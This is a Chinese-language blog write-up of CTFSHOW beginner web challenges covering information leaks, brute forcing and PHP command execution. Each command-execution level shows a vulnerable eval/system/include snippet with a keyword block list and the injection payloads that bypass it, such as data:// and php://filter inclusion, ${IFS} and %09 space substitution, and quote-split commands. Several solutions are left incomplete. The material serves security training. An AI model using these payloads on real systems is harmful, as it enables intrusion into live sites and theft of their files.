CTFSHOW-web入门-信息搜集,爆破,命令执行

目录

Web入门

信息搜集

web3

web4

web5

web6

web7

web8

web9

web10

web11

web12

web13

web14

web15

web16

web17

web18

web19

web20

爆破

web21

web22

web23

web24

web25

web26

web27

web28

命令执行

web29

web30

web31

web32

web33

web34

web35

web36

web37

web38

web39

web40 

web41

web42

web43

web44

web45

web46

web47

web48


Web入门

信息搜集

web3

通过查看器未发现有用信息

接下来我们查看源代码,发现无法查看

我们使用Burp抓取页面

并且发送到Repeater

发现Flag

提交即可

web4

题目提示查看robots

Robots协议(也称爬虫协议,机器人协议等)的全称是“网络爬虫排除协议”,网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

构造/robots.txt

然后访问/flagishere.txt

得到Flag

web5

题目提示查看phps源码

phps的利用:

phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。

构造/index.phps,提示下载

 下载完成后打开,即可得到Flag

web6

提示:解压源码到当前目录,测试正常,收工

访问:www.zip

 

 打开index.php

 我们看到:“flag in fl000g.txt”

再打开fl000g.txt

什么也没有......

尝试构造/fl000g.txt

得到Flag 

web7

Git是目前世界上最先进的分布式版本控制系统,能记录每次文件的改动

当前大量开发人员使用git进行版本控制,对站点自动部署。 如果配置不当,可能会将.git文件夹直接部署到线上环境,这就引起了git泄露漏洞。

git源码泄露

.git/index.php

web8

在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。利用此漏洞,可以下载整套网站的源代码。

使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。

svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份

svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份

SVN是Subversion的简称,是一个开放源代码的版本控制系统

用于多个人共同开发同一个项目,共用资源的目的

svn泄露

访问/.svn

web9

如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”等。

提示发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

当我们在使用vim编辑的时候,vim会在被编辑文件同一目录下,创建一个名为filename.swp的文件,记录我们的动作,比如在编辑index.php的时候会存在一个index.php.swp的文件,访问/index.php.swp下载文件得到flag

构造/index.php.swp

 得到Flag

web10

题目提示查看cookie

尝试抓包

 两边的flag一致,但不是正确答案

使用HackBar中的URL Decode(URL解码)

得到Flag 

web11

提示:域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息

通过阿里云网站运维检测平台进行查询

得到Flag

web12

访问robots.txt

访问admin,发现需要填写密码

在网站上可以看到

 账户名为admin,密码为372619038

 得到Flag

web13

提示查看技术文档

找到用户名和密码

 访问,登录

得到Flag

web14

提示:查看源码,泄露重要(editor)的信息

在图片空间找到flag文件

/var/www/html/nothinghere 中有一个fl000g.txt 

访问

得到Flag 

web15

提示:查看邮箱

在QQ上查找此人

访问/admin

点击忘记密码

 

输入查到的信息 

 进行显示

登录 

 登录后得到Flag

web16

提示:php探针

访问tz.php

点击

 找到Flag

web17

提示:备份的sql文件

backup是备份的意思

根据题意访问backup.sql下载数据库文件拿到flag

web18

查看源码找到js文件

 找到得到Flag的条件

 Unicode解码

访问110.php 

得到Flag

web19

提示密钥在前端

post提交用户名密码

admin
a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04

即可得到Flag

web20

题目提示:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

访问/db/db.mdb,下载后搜索flag

爆破

web21

首先下载网站提供的zip

直接通过burp爆破

随便输入账号和密码,使用提供的字典,进行爆破

经过base64解码 为我们输入的账号密码

 设置

爆破完成,得到Flag         

web22

提示:爆破子域名ctf.show

使用在线查询工具:在线子域名查询

逐个访问

 发现

 得到Flag

web23

由代码可以知道token被md5加密了,分析可知

当第二位等于第十五位等于第十八位,第二位加上第十五位加上第十八位除以第二位等于第三十二位时,输出Flag

php脚本:

<?php
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";

for ($i = 0;$i < 36;$i++){
    for ($j = 0;$j<36;$j++){
        $token=md5($dict[$i].$dict[$j]);
        if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
            if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
                echo ('原字符串为:'.$dict[$i].$dict[$j]);
            }
        }
    }
}
?>

运行完成后的到源字符串为:3j

得到Flag

web24

源码

其中

mt_srand和mt_rand

mt_srand() 函数播种 Mersenne Twister 随机数生成器。

mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。

当随机数的种子是个确定值时(如本题),mt_rand()所得到的随机数也是确定的

下一步

得到Flag

web25

由源码可以发现我们可以利用r=0得到mt_rand()的值

得到mt_rand()值后,我们需要回推出种子

web26

查看源码得到

 在checkdb.php页面POST

得到Flag

web27

点击录取名单

 得到

其中身份证中的生日被隐藏了

点击查询系统

提示我们需要身份证号,接下来爆破身份证号

以“高先伊”为例

 

Unicode转码

登录即可到达Flag 

web28

发现

将/2.txt去掉后进行爆破

 Payload set 2 与此相同

 得到Flag

命令执行

先来一张表

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
strings

web29

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤c中的flag元素

构造

?c=system('ls');
?c=system('cat f?ag.php');

之后查看源代码

web30

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤  flag|system|php 

?c=echo `tac fl?g.???`;
或者
?c=echo  exec('nl fl?g.???');

web31

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤  flag  system  php  cat  sort  shell  .  (空格)   '

?c=echo%09`tac%09f*`;

web32

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了括号,结合文件包含,使用?>闭合代码

?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

  • 总的来说,php://filter/是一种访问本地文件的协议
  • /read=convert.base64-encode/表示读取的方式是base64编码
  • resource=flag.php表示目标文件为flag.php

base64解码 

web33

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了双引号

?c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php

之后base64解码

web34

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了分号,同上

web35

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤<,同上

web36

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤=和数字0-9,将web33的1改为字符即可

?c=include$_GET[a]?>
&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag ,又是 include 文件包含

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
?c=data://text/plain,<?php system("cat f*");

之后查看源代码

web38

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

在37的基础上,过滤了php,利用base64编码绕过

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=

 

web39

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

?c=data://text/plain,<?= system("cat fla*");?>

web40 

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。

  • print_r(scandir('.'));查看当前目录下的所有文件名
  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
  • current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
    但是这题过滤了引号,不能有参数,找一个代替'.'的东西
    print_r(scandir(current(localeconv())));打印出当前目录下文件
    flag.php在倒数第二个,直接用next(array_reverse());
?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
} 

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1主要意思是不进行回显的意思,可参考Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

所以不能让后面执行

?c=cat flag.php;
?c=cat flag.php ||

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了;  cat

?c=sort flag.php ||
?c=more flag.php ||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一个flag

?c=sort fla?.php ||
?c=more fla?.php ||

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了个空格

php环境下可以用%09代替空格

?c=more%09fla?.php%09||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac%09fl?g.php%09||

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

web49


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac%09fla?.php&&
?c=tac%09fla?.php%26%26

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=nl<fla''g.php||
?c=nl<fla''g.php%7c%7c

nl不支持通配,所以不用?,使用  ''  进行分割字符串,执行时会自动忽略 

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

继续使用上一题的payload

?c=nl<fla''g.php%7c%7c

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 
?c=cp${IFS}/fla?${IFS}/var/www/html/a.txt||

然后访问a.txt

这里的${IFS}代表空格

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

system成功则返回命令输出的最后一行, 失败则返回 false

?c=ta''c${IFS}fla?.php

或者使用system的返回值

?c=ca''t${IFS}fla?.php

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
?c=mv${IFS}fla?.php${IFS}a.txt

然后访问a.txt

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

把字母过滤了

<!DOCTYPE html>
<html>
<body>
<form action="http://5d45abd1-5039-4299-85cb-00274ff6a486.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <label for="file"文件名: </label>
    <input type="file" name="file" id="file"/>
    <input type="submit" name="submit" value="提交" />
</form>
</body>
</html>

随便上传一个内容,并且抓包

 即可得到flag

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值